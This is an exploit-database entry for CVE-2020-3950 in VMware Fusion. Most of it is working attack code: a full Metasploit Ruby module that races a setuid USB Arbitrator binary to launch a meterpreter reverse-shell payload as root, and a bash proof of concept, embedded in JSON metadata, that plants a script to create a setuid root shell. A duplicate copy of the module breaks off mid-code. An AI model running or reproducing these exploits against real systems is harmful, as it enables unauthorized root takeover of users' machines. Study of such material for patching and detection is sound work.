VMware Fusion USB Arbitrator Setuid Privilege Escalation Exploit
2020-04-03T00:00:00
ID 1337DAY-ID-34186 Type zdt Reporter metasploit Modified 2020-04-03T00:00:00
Description
This Metasploit module exploits an improper use of setuid binaries within VMware Fusion versions 10.1.3 through 11.5.3. The Open VMware USB Arbitrator Service can be launched outside of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the Open VMware USB Arbitrator Service binary, we are able to launch it temporarily to start our payload with an effective UID of 0.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',
'Description' => %q(
This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.
The Open VMware USB Arbitrator Service can be launched outide of its standard path
which allows loading of an attacker controlled binary. By creating a payload in the
user home directory in a specific folder, and creating a hard link to the 'Open VMware
USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload
with an effective UID of 0.
@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.
Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Dhanesh Kizhakkinan', # discovery
'Rich Mirch', # edb module
'jeffball <[email protected]>', # 11.5.3 exploit
'grimm'
],
'Platform' => [ 'osx' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'CVE', '2020-3950' ],
[ 'EDB', '48235' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],
[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],
[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]
],
'DisclosureDate' => 'Mar 17 2020',
'DefaultOptions' =>
{
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
'WfsDelay' => 15
}
)
)
register_options [
OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def open_usb_service
'Open VMware USB Arbitrator Service'
end
def usb_service
'VMware USB Arbitrator Service'
end
def get_home_dir
home = cmd_exec 'echo ~'
if home.blank?
fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'
end
home
end
def content_dir
"#{get_home_dir}/Contents"
end
def base_dir
"#{content_dir}/Library/services/"
end
def kill_process(executable)
pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print "kill -9 " $1}')
cmd_exec pid_kill
end
def get_version
# Thanks to @ddouhine on github for this answer!
version_raw = cmd_exec "plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString"
/=> "(?<version>\d{0,2}\.\d{0,2}\.\d{0,2})"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2
if version_raw.blank?
fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'
end
Gem::Version.new(version)
end
def pre_11_5_3
# Upload payload executable & chmod
payload_filename = "#{base_dir}#{usb_service}"
print_status "Uploading Payload: #{payload_filename}"
write_file payload_filename, generate_payload_exe
chmod payload_filename, 0o755
register_file_for_cleanup payload_filename
# create folder structure and hard link to the original binary
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
print_status "Created folder (#{link_folder}) and link"
print_status 'Starting USB Service (5 sec pause)'
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
cmd_exec "cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :"
Rex.sleep 5 # give time for the service to execute our payload
print_status 'Killing service'
cmd_exec "pkill '#{open_usb_service}'"
print_status "Deleting #{root_link_folder}"
rm_rf root_link_folder
end
def exactly_11_5_3
# Upload payload executable & chmod
payload_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
print_status "Uploading Payload to #{payload_name}"
write_file payload_name, generate_payload_exe
chmod payload_name, 0o755
#create race with codesign check
root_link_folder = "#{get_home_dir}/#{rand_text_alphanumeric(2..5)}" # for cleanup later
link_folder = "#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/"
print_status 'Uploading race condition executable.'
race = <<~EOF
#!/bin/sh
while [ "1" = "1" ]; do
ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'
ln -f '#{payload_name}' '#{base_dir}#{usb_service}'
done
EOF
racer_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx racer_name, race
register_file_for_cleanup racer_name
register_dirs_for_cleanup root_link_folder
# create the hard link
print_status "Creating folder (#{link_folder}) and link"
cmd_exec "mkdir -p #{link_folder}"
cmd_exec "ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'"
# create the launcher to start the racer and keep launching our service to attempt to win
launcher = <<~EOF
#!/bin/sh
#{racer_name} &
for i in {1..#{datastore['MAXATTEMPTS']}}
do
echo "attempt $i";
'#{link_folder}#{open_usb_service}'
done
EOF
runner_name = "#{base_dir}#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx runner_name, launcher
register_file_for_cleanup runner_name
print_status "Launching Exploit #{runner_name} (sleeping 15sec)"
# XXX: The ; used by cmd_exec will interfere with &, so pad it with :
results = cmd_exec "#{runner_name} & :"
Rex.sleep 15 # give time for the service to execute our payload
vprint_status results
print_status 'Exploit Finished, killing scripts.'
kill_process racer_name
kill_process runner_name # in theory should be killed already but just in case
kill_process "'#{link_folder}#{open_usb_service}'"
# kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.
# above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error
# rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder
end
def check
unless exists? "/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}"
print_bad "'#{open_usb_service}' binary missing"
return CheckCode::Safe
end
version = get_version
if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))
vprint_good "Vmware Fusion #{version} is exploitable"
else
print_bad "VMware Fusion #{version} is NOT exploitable"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our payload to the remote system
rm_rf content_dir # live dangerously.
if directory? content_dir
fail_with Filure::BadConfig, "#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail."
end
cmd_exec "mkdir -p #{base_dir}"
register_dirs_for_cleanup content_dir
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable."
end
version = get_version
if version == Gem::Version.new('11.5.3')
vprint_status 'Using 11.5.3 exploit'
exactly_11_5_3
elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))
vprint_status 'Using pre-11.5.3 exploit'
pre_11_5_3
end
rm_rf content_dir # live dangerously.
end
end
{"id": "1337DAY-ID-34186", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "VMware Fusion USB Arbitrator Setuid Privilege Escalation Exploit", "description": "This Metasploit module exploits an improper use of setuid binaries within VMware Fusion versions 10.1.3 through 11.5.3. The Open VMware USB Arbitrator Service can be launched outside of its standard path which allows loading of an attacker controlled binary. By creating a payload in the user home directory in a specific folder, and creating a hard link to the Open VMware USB Arbitrator Service binary, we are able to launch it temporarily to start our payload with an effective UID of 0.", "published": "2020-04-03T00:00:00", "modified": "2020-04-03T00:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/34186", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2020-3950"], "immutableFields": [], "lastseen": "2022-02-10T00:00:00", "viewCount": 220, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:2D41D02A-A32C-4A7E-9C1B-6B01311003D5"]}, {"type": "cve", "idList": ["CVE-2020-3950"]}, {"type": "exploitdb", "idList": ["EDB-ID:48235"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:C6273B137068170B74C1A2FAD3134060"]}, {"type": "nessus", "idList": ["MACOSX_FUSION_VMSA_2020_0005.NASL", "VMWARE_WORKSTATION_VMSA_2020_0005.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156843", "PACKETSTORM:157079"]}, {"type": "vmware", "idList": ["VMSA-2020-0005", "VMSA-2020-0005.2"]}, {"type": "zdt", "idList": ["1337DAY-ID-34121"]}], "rev": 4}, "score": {"value": 6.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:2D41D02A-A32C-4A7E-9C1B-6B01311003D5"]}, {"type": "cve", "idList": ["CVE-2020-3950"]}, {"type": "exploitdb", "idList": ["EDB-ID:48235"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:C6273B137068170B74C1A2FAD3134060"]}, {"type": "nessus", "idList": ["MACOSX_FUSION_VMSA_2020_0005.NASL", "VMWARE_WORKSTATION_VMSA_2020_0005.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156843"]}, {"type": "vmware", "idList": ["VMSA-2020-0005.2"]}, {"type": "zdt", "idList": ["1337DAY-ID-34121"]}]}, "exploitation": null, "vulnersScore": 6.2}, "sourceHref": "https://0day.today/exploit/34186", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::OSX::Priv\n include Msf::Post::File\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation',\n 'Description' => %q(\n This exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3.\n The Open VMware USB Arbitrator Service can be launched outide of its standard path\n which allows loading of an attacker controlled binary. By creating a payload in the\n user home directory in a specific folder, and creating a hard link to the 'Open VMware\n USB Arbitrator Service' binary, we're able to launch it temporarily to start our payload\n with an effective UID of 0.\n @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race.\n Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.\n ),\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'h00die', # msf module\n 'Dhanesh Kizhakkinan', # discovery\n 'Rich Mirch', # edb module\n 'jeffball <[email\u00a0protected]>', # 11.5.3 exploit\n 'grimm'\n ],\n 'Platform' => [ 'osx' ],\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'SessionTypes' => [ 'shell', 'meterpreter' ],\n 'Targets' => [[ 'Auto', {} ]],\n 'Privileged' => true,\n 'References' =>\n [\n [ 'CVE', '2020-3950' ],\n [ 'EDB', '48235' ],\n [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ],\n [ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ],\n [ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ]\n ],\n 'DisclosureDate' => 'Mar 17 2020',\n 'DefaultOptions' =>\n {\n 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',\n 'WfsDelay' => 15\n }\n )\n )\n\n register_options [\n OptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75])\n ]\n\n register_advanced_options [\n OptBool.new('ForceExploit', [false, 'Override check result', false])\n ]\n end\n\n def open_usb_service\n 'Open VMware USB Arbitrator Service'\n end\n\n def usb_service\n 'VMware USB Arbitrator Service'\n end\n\n def get_home_dir\n home = cmd_exec 'echo ~'\n if home.blank?\n fail_with Failure::BadConfig, 'Unable to determine home dir for shell.'\n end\n home\n end\n\n def content_dir\n \"#{get_home_dir}/Contents\"\n end\n\n def base_dir\n \"#{content_dir}/Library/services/\"\n end\n\n def kill_process(executable)\n pid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print \"kill -9 \" $1}')\n cmd_exec pid_kill\n end\n\n def get_version\n # Thanks to @ddouhine on github for this answer!\n version_raw = cmd_exec \"plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString\"\n /=> \"(?<version>\\d{0,2}\\.\\d{0,2}\\.\\d{0,2})\"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2\n if version_raw.blank?\n fail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.'\n end\n Gem::Version.new(version)\n end\n\n def pre_11_5_3\n # Upload payload executable & chmod\n payload_filename = \"#{base_dir}#{usb_service}\"\n print_status \"Uploading Payload: #{payload_filename}\"\n write_file payload_filename, generate_payload_exe\n chmod payload_filename, 0o755\n register_file_for_cleanup payload_filename\n\n # create folder structure and hard link to the original binary\n root_link_folder = \"#{get_home_dir}/#{rand_text_alphanumeric(2..5)}\" # for cleanup later\n link_folder = \"#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/\"\n cmd_exec \"mkdir -p #{link_folder}\"\n cmd_exec \"ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'\"\n print_status \"Created folder (#{link_folder}) and link\"\n\n print_status 'Starting USB Service (5 sec pause)'\n # XXX: The ; used by cmd_exec will interfere with &, so pad it with :\n cmd_exec \"cd #{link_folder}; '#{link_folder}/#{open_usb_service}' & :\"\n Rex.sleep 5 # give time for the service to execute our payload\n print_status 'Killing service'\n cmd_exec \"pkill '#{open_usb_service}'\"\n print_status \"Deleting #{root_link_folder}\"\n rm_rf root_link_folder\n end\n\n def exactly_11_5_3\n # Upload payload executable & chmod\n payload_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\"\n print_status \"Uploading Payload to #{payload_name}\"\n write_file payload_name, generate_payload_exe\n chmod payload_name, 0o755\n #create race with codesign check\n root_link_folder = \"#{get_home_dir}/#{rand_text_alphanumeric(2..5)}\" # for cleanup later\n link_folder = \"#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/\"\n print_status 'Uploading race condition executable.'\n race = <<~EOF\n #!/bin/sh\n while [ \"1\" = \"1\" ]; do\n ln -f '/Applications/VMware Fusion.app/Contents/Library/services/#{usb_service}' '#{base_dir}#{usb_service}'\n ln -f '#{payload_name}' '#{base_dir}#{usb_service}'\n done\n EOF\n racer_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\"\n upload_and_chmodx racer_name, race\n register_file_for_cleanup racer_name\n register_dirs_for_cleanup root_link_folder\n # create the hard link\n print_status \"Creating folder (#{link_folder}) and link\"\n cmd_exec \"mkdir -p #{link_folder}\"\n cmd_exec \"ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'\"\n\n # create the launcher to start the racer and keep launching our service to attempt to win\n launcher = <<~EOF\n #!/bin/sh\n #{racer_name} &\n for i in {1..#{datastore['MAXATTEMPTS']}}\n do\n echo \"attempt $i\";\n '#{link_folder}#{open_usb_service}'\n done\n EOF\n runner_name = \"#{base_dir}#{rand_text_alphanumeric(5..10)}\"\n upload_and_chmodx runner_name, launcher\n register_file_for_cleanup runner_name\n\n print_status \"Launching Exploit #{runner_name} (sleeping 15sec)\"\n # XXX: The ; used by cmd_exec will interfere with &, so pad it with :\n results = cmd_exec \"#{runner_name} & :\"\n Rex.sleep 15 # give time for the service to execute our payload\n vprint_status results\n\n print_status 'Exploit Finished, killing scripts.'\n kill_process racer_name\n kill_process runner_name # in theory should be killed already but just in case\n kill_process \"'#{link_folder}#{open_usb_service}'\"\n # kill_process 'ln' a rogue ln -f may mess us up, but killing them seemed to be unreliable and mark the exploit as failed.\n # above caused: [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Unknown error\n # rm_rf base_dir # this always fails. Leaving it here as a note that when things dont kill well, can't delete the folder\n end\n\n def check\n unless exists? \"/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}\"\n print_bad \"'#{open_usb_service}' binary missing\"\n return CheckCode::Safe\n end\n version = get_version\n if version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.3'))\n vprint_good \"Vmware Fusion #{version} is exploitable\"\n else\n print_bad \"VMware Fusion #{version} is NOT exploitable\"\n return CheckCode::Safe\n end\n CheckCode::Appears\n end\n\n def exploit\n # First check the system is vulnerable, or the user wants to run regardless\n unless check == CheckCode::Appears\n unless datastore['ForceExploit']\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\n end\n print_warning 'Target does not appear to be vulnerable'\n end\n\n # Check if we're already root\n if is_root?\n unless datastore['ForceExploit']\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'\n end\n end\n\n # Make sure we can write our payload to the remote system\n rm_rf content_dir # live dangerously.\n if directory? content_dir\n fail_with Filure::BadConfig, \"#{content_dir} exists. Unable to delete automatically. Please delete or exploit will fail.\"\n end\n cmd_exec \"mkdir -p #{base_dir}\"\n register_dirs_for_cleanup content_dir\n unless writable? base_dir\n fail_with Failure::BadConfig, \"#{base_dir} is not writable.\"\n end\n\n version = get_version\n if version == Gem::Version.new('11.5.3')\n vprint_status 'Using 11.5.3 exploit'\n exactly_11_5_3\n elsif version.between?(Gem::Version.new('10.1.3'), Gem::Version.new('11.5.2'))\n vprint_status 'Using pre-11.5.3 exploit'\n pre_11_5_3\n end\n rm_rf content_dir # live dangerously.\n end\nend\n", "category": "remote exploits", "verified": true, "_state": {"dependencies": 1647589307, "score": 0}}
{"zdt": [{"lastseen": "2021-12-21T11:36:34", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-20T00:00:00", "type": "zdt", "title": "VMware Fusion 11.5.2 - Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3950"], "modified": "2020-03-20T00:00:00", "id": "1337DAY-ID-34121", "href": "https://0day.today/exploit/description/34121", "sourceData": "# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation\n# Exploit Author: Rich Mirch\n# Vendor Homepage: https://www.vmware.com/products/fusion.html\n# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html\n# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg\n# Versions:\n# VMware Fusion Professional 11.5.1 (15018442)\n# VMware Fusion Professional 11.5.2 (15794494)\n#\n# Tested on: macOS 10.14.6\n# CVE : CVE-2020-3950\n# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh\n#\n#\n#!/bin/bash\necho \"CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch\"\n\nmkdir -p ~/a/b/c\nmkdir -p ~/Contents/Library/services\n\ncat > ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service <<EOF\n#!/usr/bin/python\nimport os\nos.setuid(0)\nos.system(\"cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot\");\nEOF\n\nchmod 755 ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service\n\ncd ~/a/b/c\nln \"/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service\" . 2>/dev/null\n\"${PWD}/Open VMware USB Arbitrator Service\" >/dev/null 2>/dev/null &\np=$!\necho \"Sleeping for 5 seconds\"\nsleep 5\nkill ${p?}\nwait\n\necho \"Sleeping for 7 seconds\"\nsleep 7\n\n$HOME/.woot -p\n", "sourceHref": "https://0day.today/exploit/34121", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2020-03-20T22:54:15", "description": "", "cvss3": {}, "published": "2020-03-20T00:00:00", "type": "packetstorm", "title": "VMware Fusion 11.5.2 Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-3950"], "modified": "2020-03-20T00:00:00", "id": "PACKETSTORM:156843", "href": "https://packetstormsecurity.com/files/156843/VMware-Fusion-11.5.2-Privilege-Escalation.html", "sourceData": "`# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation \n# Date: 2020-03-17 \n# Exploit Author: Rich Mirch \n# Vendor Homepage: https://www.vmware.com/products/fusion.html \n# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html \n# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg \n# Versions: \n# VMware Fusion Professional 11.5.1 (15018442) \n# VMware Fusion Professional 11.5.2 (15794494) \n# \n# Tested on: macOS 10.14.6 \n# CVE : CVE-2020-3950 \n# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh \n# \n# \n#!/bin/bash \necho \"CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch\" \n \nmkdir -p ~/a/b/c \nmkdir -p ~/Contents/Library/services \n \ncat > ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service <<EOF \n#!/usr/bin/python \nimport os \nos.setuid(0) \nos.system(\"cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot\"); \nEOF \n \nchmod 755 ~/Contents/Library/services/VMware\\ USB\\ Arbitrator\\ Service \n \ncd ~/a/b/c \nln \"/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service\" . 2>/dev/null \n\"${PWD}/Open VMware USB Arbitrator Service\" >/dev/null 2>/dev/null & \np=$! \necho \"Sleeping for 5 seconds\" \nsleep 5 \nkill ${p?} \nwait \n \necho \"Sleeping for 7 seconds\" \nsleep 7 \n \n$HOME/.woot -p \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156843/vmwarefusion1152-escalate.txt", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-04-03T22:51:26", "description": "", "cvss3": {}, "published": "2020-04-03T00:00:00", "type": "packetstorm", "title": "VMware Fusion USB Arbitrator Setuid Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-3950"], "modified": "2020-04-03T00:00:00", "id": "PACKETSTORM:157079", "href": "https://packetstormsecurity.com/files/157079/VMware-Fusion-USB-Arbitrator-Setuid-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::OSX::Priv \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'VMware Fusion USB Arbitrator Setuid Privilege Escalation', \n'Description' => %q( \nThis exploits an improper use of setuid binaries within VMware Fusion 10.1.3 - 11.5.3. \nThe Open VMware USB Arbitrator Service can be launched outide of its standard path \nwhich allows loading of an attacker controlled binary. By creating a payload in the \nuser home directory in a specific folder, and creating a hard link to the 'Open VMware \nUSB Arbitrator Service' binary, we're able to launch it temporarily to start our payload \nwith an effective UID of 0. \n@jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU race. \nSuccessfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3. \n), \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'h00die', # msf module \n'Dhanesh Kizhakkinan', # discovery \n'Rich Mirch', # edb module \n'jeffball <jeffball@dc949.org>', # 11.5.3 exploit \n'grimm' \n], \n'Platform' => [ 'osx' ], \n'Arch' => [ ARCH_X86, ARCH_X64 ], \n'SessionTypes' => [ 'shell', 'meterpreter' ], \n'Targets' => [[ 'Auto', {} ]], \n'Privileged' => true, \n'References' => \n[ \n[ 'CVE', '2020-3950' ], \n[ 'EDB', '48235' ], \n[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0005.html' ], \n[ 'URL', 'https://twitter.com/jeffball55/status/1242530508053110785?s=20' ], \n[ 'URL', 'https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.03.17-vmware-fusion/notes.txt' ] \n], \n'DisclosureDate' => 'Mar 17 2020', \n'DefaultOptions' => \n{ \n'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp', \n'WfsDelay' => 15 \n} \n) \n) \n \nregister_options [ \nOptInt.new('MAXATTEMPTS', [true, 'Maximum attempts to win race for 11.5.3', 75]) \n] \n \nregister_advanced_options [ \nOptBool.new('ForceExploit', [false, 'Override check result', false]) \n] \nend \n \ndef open_usb_service \n'Open VMware USB Arbitrator Service' \nend \n \ndef usb_service \n'VMware USB Arbitrator Service' \nend \n \ndef get_home_dir \nhome = cmd_exec 'echo ~' \nif home.blank? \nfail_with Failure::BadConfig, 'Unable to determine home dir for shell.' \nend \nhome \nend \n \ndef content_dir \n\"#{get_home_dir}/Contents\" \nend \n \ndef base_dir \n\"#{content_dir}/Library/services/\" \nend \n \ndef kill_process(executable) \npid_kill = cmd_exec %(ps ax | grep #{executable} | grep -v grep | awk '{print \"kill -9 \" $1}') \ncmd_exec pid_kill \nend \n \ndef get_version \n# Thanks to @ddouhine on github for this answer! \nversion_raw = cmd_exec \"plutil -p '/Applications/VMware Fusion.app/Contents/Info.plist' | grep CFBundleShortVersionString\" \n/=> \"(?<version>\\d{0,2}\\.\\d{0,2}\\.\\d{0,2})\"/ =~ version_raw #supposed 11.x is also vulnerable, but everyone whos tested shows 11.5.1 or 11.5.2 \nif version_raw.blank? \nfail_with Failure::BadConfig, 'Unable to determine VMware Fusion version. Set ForceExploit to override.' \nend \nGem::Version.new(version) \nend \n \ndef pre_11_5_3 \n# Upload payload executable & chmod \npayload_filename = \"#{base_dir}#{usb_service}\" \nprint_status \"Uploading Payload: #{payload_filename}\" \nwrite_file payload_filename, generate_payload_exe \nchmod payload_filename, 0o755 \nregister_file_for_cleanup payload_filename \n \n# create folder structure and hard link to the original binary \nroot_link_folder = \"#{get_home_dir}/#{rand_text_alphanumeric(2..5)}\" # for cleanup later \nlink_folder = \"#{root_link_folder}/#{rand_text_alphanumeric(2..5)}/#{rand_text_alphanumeric(2..5)}/\" \ncmd_exec \"mkdir -p #{link_folder}\" \ncmd_exec \"ln '/Applications/VMware Fusion.app/Contents/Library/services/#{open_usb_service}' '#{link_folder}#{open_usb_service}'\" \nprint_status \"Created folder (#{link_folder}) and link\" \n \nprint_status 'Starting USB Service (5 sec pause)' \n# XXX: The ; used by cmd_exec will interfere with &, so pad it with : \ncmd_exec 